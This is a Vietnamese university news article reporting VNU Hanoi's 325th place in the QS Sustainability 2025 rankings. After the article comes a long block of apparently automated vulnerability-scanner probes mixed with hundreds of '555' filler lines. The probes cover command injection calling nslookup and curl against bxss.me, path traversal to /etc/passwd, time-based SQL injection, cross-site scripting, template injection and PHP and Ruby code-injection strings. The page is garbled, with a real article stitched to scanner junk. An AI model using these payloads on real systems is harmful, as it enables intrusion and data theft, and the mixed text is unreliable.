Ngày 10/12/2024, tổ chức xếp hạng QS đã công bố kết quả xếp hạng QS World University Rankings: Sustainability 2025 cho 1.751 cơ sở giáo dục đại học trên toàn thế giới. Trong kỳ xếp hạng lần này, ĐHQGHN đã có sự thăng tiến mạnh về vị trí khi được xếp hạng 325 thế giới (gia tăng 456 bậc so với vị trí xếp hạng trong top 781-790 tại kỳ xếp hạng QS World University Rankings: Sustainability 2024), vị trí 51 của khu vực châu Á và số 1 Việt Nam. Kết quả được công bố đúng vào ngày thành lập của ĐHQGHN 10/12/1993-10/12/2024.
Bảng xếp hạng QS WUR Sustainability cung cấp góc nhìn độc đáo về những cơ sở giáo dục đại học đang thực hiện cam kết theo đuổi sự phát triển bền vững gắn với trách nhiệm quốc gia, đánh giá toàn diện các cơ sở giáo dục đại học trên thế giới về cam kết và tác động của các trường đối với phát triển bền vững thông qua hoạt động nghiên cứu, giảng dạy và phục vụ cộng đồng. Bảng xếp hạng này cho thấy mức độ mà trường đại học đóng góp vào ba lĩnh vực chính: Tác động môi trường (Environmental Impact), Tác động xã hội (Social Impact), và Quản trị tốt (Governance. Trong kỳ xếp hạng QS Sustainability 2025, ĐHQGHN đã gia tăng điểm số ở tất cả các tiêu chí thuộc 3 tiêu chuẩn: Quản trị; Tác động môi trường; Tác động xã hội.
Quản trị đại học: vị trí 204. Thực hiện quan điểm quản trị với mục tiêu phát triển bền vững, ĐHQGHN đã đạt vị trí 204 về tiêu chuẩn Quản trị - đây cũng là tiêu chuẩn được xếp hạng cao nhất của ĐHQGHN, khẳng định tính minh bạch, đảm bảo đạo đức, trách nhiệm và hiệu quả trong hoạt động quản trị và vận hành tổ chức của ĐHQGHN.
Tác động của cơ sở giáo dục đại học với môi trường: vị trí 364. Những nỗ lực mà ĐHQGHN đang thực hiện nhằm góp phần biến đổi thế giới theo hướng tốt đẹp hơn thông qua nghiên cứu trong các lĩnh vực như khoa học môi trường, biến đổi khí hậu và tác động của cựu sinh viên trong việc tạo ra một thế giới bền vững hơn đã đưa ĐHQGHN lên thứ hạng 364 ở tiêu chuẩn Tác động môi trường.
Tác động của sinh viên sau tốt nghiệp với xã hội: vị trí 399. Các chương trình hành động của ĐHQGHN đang thực hiện để cải thiện xã hội, chia sẻ kiến thức, đào tạo ra những sinh viên tốt nghiệp có tác động ý nghĩa đối với xã hội đã mang lại thứ hạng 399 cho ĐHQGHN ở tiêu chuẩn Tác động xã hội.
Những đóng góp của ĐHQGHN trong việc xây dựng môi trường và xã hội tương lai bền vững hơn đã được thể hiện rõ qua sự gia tăng thứ hạng ở tất cả các tiêu chí tham gia xếp hạng năm nay gồm: Giáo dục về môi trường; Nghiên cứu về môi trường; Bền vững trong môi trường; Tuyển dụng và kết quả đầu ra; Bình đẳng; Sức khỏe và cuộc sống hạnh phúc; Ảnh hưởng về giáo dục; Chia sẻ kiến thức và Quản trị tốt. Kết quả này một lần nữa khẳng định những thế mạnh đặc trưng của ĐHQGHN về đường lối quản trị, đào tạo nghiên cứu về môi trường bền vững và trao đổi kiến thức. Đặc biệt trong kỳ này, tiêu chí Chia sẻ kiến thức (Knowledge Exchange) là tiêu chí được xếp hạng cao nhất của ĐHQGHN với vị trí 189 thế giới (tăng 264 bậc so với năm 2024). Điều này cho thấy những đóng góp và mức độ ảnh hưởng của ĐHQGHN trong việc hợp tác nghiên cứu với cộng đồng học thuật trong và ngoài nước, chia sẻ kiến thức góp phần thúc đẩy tăng trưởng giáo dục, sẵn sàng trở thành đối tác nghiên cứu toàn cầu. Bên cạnh đó, tiêu chí Bình đẳng được xếp hạng 340; Giáo dục về môi trường được xếp hạng ở vị trí 350 thế giới.
Kết quả xếp hạng này một lần nữa đã minh chứng cho phương thức quản trị đúng đắn của lãnh đạo ĐHQGHN cũng như những nỗ lực của toàn thể cán bộ, nhà khoa học và người học của ĐHQGHN trong việc tạo ra và phổ biến kiến thức mới, nghiên cứu khoa học đỉnh cao, cam kết giáo dục vì sự phát triển bền vững và tiếp cận cộng đồng. Chiến lược quản trị đảm bảo rằng phát triển bền vững trở thành một phần không thể thiếu trong văn hóa quản trị của ĐHQGHN, thực hiện đúng sứ mệnh của một cơ sở giáo dục đại học đương đại trong việc đóng góp vào sự thịnh vượng chung của cộng đồng. Đồng thời, kết quả xếp hạng này cũng là một thành tựu quan trọng trong việc góp phần thực hiện Nghị quyết 45-NQ/TW ngày 24/11/2023 về thực hiện mục tiêu đến năm 2030: “Phát triển một số cơ sở nghiên cứu, cơ sở giáo dục đại học đạt trình độ tiên tiến, thuộc nhóm hàng đầu Châu Á; đưa Đại học Quốc gia Hà Nội vào top 500 đại học hàng đầu thế giới”.
Dưới đây là những thông tin cụ thể hơn về những tiêu chí xếp hạng QS Sustainability 2025 và những chỉ số mà ĐHQGHN đạt được trong thời gian qua
VNU Media - Viện Đảm bảo chất lượng giáo dục
1
1
1
1
1
1
1
1
/../../../../../../../../../../windows/system32/BITSADMIN.exe
response.write(9415040*9931850)
'+response.write(9415040*9931850)+'
"+response.write(9415040*9931850)+"
Yxzyv272
echo wohefz$()\ zabvsw\nz^xyu||a #' &echo wohefz$()\ zabvsw\nz^xyu||a #|" &echo wohefz$()\ zabvsw\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
&echo boqtbz$()\ gpgxpu\nz^xyu||a #' &echo boqtbz$()\ gpgxpu\nz^xyu||a #|" &echo boqtbz$()\ gpgxpu\nz^xyu||a #
|echo avfeyp$()\ nkvgjq\nz^xyu||a #' |echo avfeyp$()\ nkvgjq\nz^xyu||a #|" |echo avfeyp$()\ nkvgjq\nz^xyu||a #
file:///etc/passwd
bcc:009247.9593-40340.9593.75283.20096.2@bxss.me
(nslookup -q=cname hitwlncogjwvu915fb.bxss.me||curl hitwlncogjwvu915fb.bxss.me))
to@example.com>
bcc:009247.9593-40341.9593.75283.20096.2@bxss.me
$(nslookup -q=cname hitysqheqrmjfd3cf0.bxss.me||curl hitysqheqrmjfd3cf0.bxss.me)
&nslookup -q=cname hitomfzmrihekd173a.bxss.me&'\"`0&nslookup -q=cname hitomfzmrihekd173a.bxss.me&`'
../
&(nslookup -q=cname hitfncsgovnnr05837.bxss.me||curl hitfncsgovnnr05837.bxss.me)&'\"`0&(nslookup -q=cname hitfncsgovnnr05837.bxss.me||curl hitfncsgovnnr05837.bxss.me)&`'
./
|(nslookup -q=cname hitttkrvviavoee862.bxss.me||curl hitttkrvviavoee862.bxss.me)
`(nslookup -q=cname hitdqvwnzhknt834b5.bxss.me||curl hitdqvwnzhknt834b5.bxss.me)`
;(nslookup -q=cname hitcqdqwsbdcze239a.bxss.me||curl hitcqdqwsbdcze239a.bxss.me)|(nslookup -q=cname hitcqdqwsbdcze239a.bxss.me||curl hitcqdqwsbdcze239a.bxss.me)&(nslookup -q=cname hitcqdqwsbdcze239a.bxss.me||curl hitcqdqwsbdcze239a.bxss.me)
<esi:include src="http://bxss.me/rpb.png"/>
${10000395+10000322}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
&n941419=v978722
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
/etc/shells
c:/windows/win.ini
bxss.me
)
!(()&&!|*|*|
^(#$!@#$)(()))******
'.gethostbyname(lc('hitbl'.'fbljuzwb2ee06.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(76).chr(116).chr(75).'
".gethostbyname(lc("hitbj"."oofomsacb9929.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(74).chr(119).chr(85)."
'"()
'&&sleep(27*1000)*pigiyp&&'
"&&sleep(27*1000)*rdafic&&"
'||sleep(27*1000)*gcdosx||'
"||sleep(27*1000)*aailiu||"
ctime
sleep
p0
(I30
tp1
Rp2
.
HttP://bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(112).concat(84).concat(100).concat(89)+(require"socket"
Socket.gethostbyname("hitig"+"fxsujnzva2d3f.bxss.me.")[3].to_s)+"
bxss.me/t/xss.html?%00
'+'A'.concat(70-3).concat(22*4).concat(117).concat(79).concat(120).concat(81)+(require'socket'
Socket.gethostbyname('hitlz'+'neqhzkwv08995.bxss.me.')[3].to_s)+'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
NewsCommentAdd
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
NewsCommentAdd/.
xfs.bxss.me
'"
<!--
'"()&%<zzz><ScRiPt >qmK1(9446)</ScRiPt>
'"()&%<zzz><ScRiPt >qmK1(9139)</ScRiPt>
9312980
bfg8968<s1﹥s2ʺs3ʹhjl8968
555
bfgx6830%C0%BEz1%C0%BCz2a%90bcxhjl6830
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
<ScRiPt >qmK1(9149)</ScRiPt>
<WRRGRC>WUZYR[!+!]</WRRGRC>
<script>qmK1(9782)</script>
<ScR<ScRiPt>IpT>qmK1(9554)</sCr<ScRiPt>IpT>
<ScRiPt
>qmK1(9762)</ScRiPt>
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9020></ScRiPt>
<isindex type=image src=1 onerror=qmK1(9785)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9181'>
<body onload=qmK1(9684)>
<img src=//xss.bxss.me/t/dot.gif onload=qmK1(9399)>
<img src=xyz OnErRor=qmK1(9322)>
<img/src=">" onerror=alert(9940)>
%0D%0A%3C%53%63%52%69%50%74%20%3E%71%6D%4B%31%289092%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\qmK1(9282)\u003C/sCripT\u003E
<ScRiPt>qmK1(9840)</sCripT>
%F6<img zzz onmouseover=qmK1(91121) //%F6>
<input autofocus onfocus=qmK1(9939)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
}body{zzz:Expre/**/SSion(qmK1(9078))}
9hyF2
<ScRiPt >qmK1(9016)</ScRiPt>
<W4J2J1>KORCS[!+!]</W4J2J1>
<ifRAme sRc=9074.com></IfRamE>
<aRvxqXL x=9987>
<img sRc='http://attacker-9970/log.php?
<agatOg3<
/../../../../../../../../../../windows/system32/BITSADMIN.exe
555
response.write(9067616*9467756)
555
555
'+response.write(9067616*9467756)+'
"+response.write(9067616*9467756)+"
555
555
555
555
555
555
352REak7
echo kiuxcy$()\ wllzic\nz^xyu||a #' &echo kiuxcy$()\ wllzic\nz^xyu||a #|" &echo kiuxcy$()\ wllzic\nz^xyu||a #
555
&echo nizikq$()\ zvuqzv\nz^xyu||a #' &echo nizikq$()\ zvuqzv\nz^xyu||a #|" &echo nizikq$()\ zvuqzv\nz^xyu||a #
555
|echo nkpgtj$()\ tvthdv\nz^xyu||a #' |echo nkpgtj$()\ tvthdv\nz^xyu||a #|" |echo nkpgtj$()\ tvthdv\nz^xyu||a #
(nslookup -q=cname hitaaizjwktya823f1.bxss.me||curl hitaaizjwktya823f1.bxss.me))
$(nslookup -q=cname hitinoglpfvxgcf65a.bxss.me||curl hitinoglpfvxgcf65a.bxss.me)
&nslookup -q=cname hitqcebmjeniw628a8.bxss.me&'\"`0&nslookup -q=cname hitqcebmjeniw628a8.bxss.me&`'
&(nslookup -q=cname hitejumzsnafae21fc.bxss.me||curl hitejumzsnafae21fc.bxss.me)&'\"`0&(nslookup -q=cname hitejumzsnafae21fc.bxss.me||curl hitejumzsnafae21fc.bxss.me)&`'
|(nslookup -q=cname hitjfwbdwwtfefc9a5.bxss.me||curl hitjfwbdwwtfefc9a5.bxss.me)
555
555
`(nslookup -q=cname hitznhgoaqjju4ff78.bxss.me||curl hitznhgoaqjju4ff78.bxss.me)`
../../../../../../../../../../../../../../etc/passwd
;(nslookup -q=cname hituoespdnghc62e63.bxss.me||curl hituoespdnghc62e63.bxss.me)|(nslookup -q=cname hituoespdnghc62e63.bxss.me||curl hituoespdnghc62e63.bxss.me)&(nslookup -q=cname hituoespdnghc62e63.bxss.me||curl hituoespdnghc62e63.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
555
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
bcc:009247.9593-40436.9593.75283.20096.2@bxss.me
555
555
555
to@example.com>
bcc:009247.9593-40437.9593.75283.20096.2@bxss.me
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
${10000257+9999960}
555
555
555
555
555
555
555
555
-1 OR 2+35-35-1=0+0+0+1 --
-1 OR 3+35-35-1=0+0+0+1 --
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555&n975872=v971331
-1 OR 2+576-576-1=0+0+0+1
-1 OR 3+576-576-1=0+0+0+1
Http://bxss.me/t/fit.txt
)
-1' OR 2+364-364-1=0+0+0+1 --
!(()&&!|*|*|
-1' OR 3+364-364-1=0+0+0+1 --
555
http://bxss.me/t/fit.txt?.jpg
-1' OR 2+166-166-1=0+0+0+1 or 'wgym5KuI'='
^(#$!@#$)(()))******
/etc/shells
c:/windows/win.ini
-1' OR 3+166-166-1=0+0+0+1 or 'wgym5KuI'='
bxss.me
555
-1" OR 2+152-152-1=0+0+0+1 --
555
555
555
555
-1" OR 3+152-152-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitkd'.'slnoilplba15c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(75).chr(121).chr(87).'
555
".gethostbyname(lc("hitkn"."mvruecsq2e8da.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(66).chr(118).chr(65)."
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
555
HttP://bxss.me/t/xss.html?%00
";print(md5(31337));$a="
555
555
bxss.me/t/xss.html?%00
${@print(md5(31337))}
if(now()=sysdate(),sleep(15),0)
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
555
'"()
555'&&sleep(27*1000)*uhjztg&&'
555"&&sleep(27*1000)*cjpyek&&"
555
555
555
NewsCommentAdd
555'||sleep(27*1000)*wvnvtd||'
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
xfs.bxss.me
555
555
555"||sleep(27*1000)*ocwzdt||"
NewsCommentAdd/.
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"+"A".concat(70-3).concat(22*4).concat(110).concat(87).concat(117).concat(85)+(require"socket"
Socket.gethostbyname("hithi"+"aonoqayo94063.bxss.me.")[3].to_s)+"
'"
555
'+'A'.concat(70-3).concat(22*4).concat(109).concat(82).concat(108).concat(78)+(require'socket'
Socket.gethostbyname('hitsw'+'woueoaof3600a.bxss.me.')[3].to_s)+'
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >twSb(9134)</ScRiPt>
555
555
'"()&%<zzz><ScRiPt >twSb(9265)</ScRiPt>
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5559119837
bfg3209<s1﹥s2ʺs3ʹhjl3209
bfgx6720%C0%BEz1%C0%BCz2a%90bcxhjl6720
-1; waitfor delay '0:0:15' --
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-1); waitfor delay '0:0:15' --
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-1)); waitfor delay '0:0:15' --
555<ScRiPt >twSb(9059)</ScRiPt>
555<WPNPSX>IUECZ[!+!]</WPNPSX>
555<script>twSb(9236)</script>
555<ScR<ScRiPt>IpT>twSb(9062)</sCr<ScRiPt>IpT>
555<ScRiPt
>twSb(9505)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9868></ScRiPt>
555<isindex type=image src=1 onerror=twSb(9767)>
1 waitfor delay '0:0:15' --
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9145'>
555<body onload=twSb(9350)>
555<img src=//xss.bxss.me/t/dot.gif onload=twSb(9848)>
555<img src=xyz OnErRor=twSb(9033)>
TR2P7Hla'; waitfor delay '0:0:15' --
555<img/src=">" onerror=alert(9645)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%77%53%62%289162%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\twSb(9392)\u003C/sCripT\u003E
555<ScRiPt>twSb(9990)</sCripT>
g21TONcU'); waitfor delay '0:0:15' --
%F6<img zzz onmouseover=twSb(96311) //%F6>
555<input autofocus onfocus=twSb(9354)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
EuuhwFuL')); waitfor delay '0:0:15' --
555}body{zzz:Expre/**/SSion(twSb(9281))}
5553WdkG
<ScRiPt >twSb(9443)</ScRiPt>
555<W2JVBL>K9YQ7[!+!]</W2JVBL>
555<ifRAme sRc=9604.com></IfRamE>
-5 OR 519=(SELECT 519 FROM PG_SLEEP(15))--
555<a5Qhv8x x=9135>
555<img sRc='http://attacker-9248/log.php?
555<aDYk2if<
555
-5) OR 643=(SELECT 643 FROM PG_SLEEP(15))--
555
555
-1)) OR 178=(SELECT 178 FROM PG_SLEEP(15))--
555
555
555
555
555
2tpUyOHv' OR 770=(SELECT 770 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
ErrxFKEc') OR 279=(SELECT 279 FROM PG_SLEEP(15))--
555
555
555
555
555
GP8rRN64')) OR 562=(SELECT 562 FROM PG_SLEEP(15))--
555
555
555
555
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
-1 OR 2+850-850-1=0+0+0+1 --
-1 OR 2+457-457-1=0+0+0+1
555
-1' OR 2+406-406-1=0+0+0+1 --
555
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-1' OR 2+187-187-1=0+0+0+1 or 'zgFOSsZ8'='
1'"
555
-1" OR 2+61-61-1=0+0+0+1 --
@@7bn32
555
555
555
555
if(now()=sysdate(),sleep(15),0)
555
555
555
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
AKYbP92q'; waitfor delay '0:0:15' --
4mv5tvVV'); waitfor delay '0:0:15' --
MJvXEmd6')); waitfor delay '0:0:15' --
-5 OR 106=(SELECT 106 FROM PG_SLEEP(15))--
-5) OR 188=(SELECT 188 FROM PG_SLEEP(15))--
-1)) OR 586=(SELECT 586 FROM PG_SLEEP(15))--
l5U0oGLD' OR 487=(SELECT 487 FROM PG_SLEEP(15))--
QsbDGm8J') OR 273=(SELECT 273 FROM PG_SLEEP(15))--
sFBTUUYl')) OR 880=(SELECT 880 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@wlxH3
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555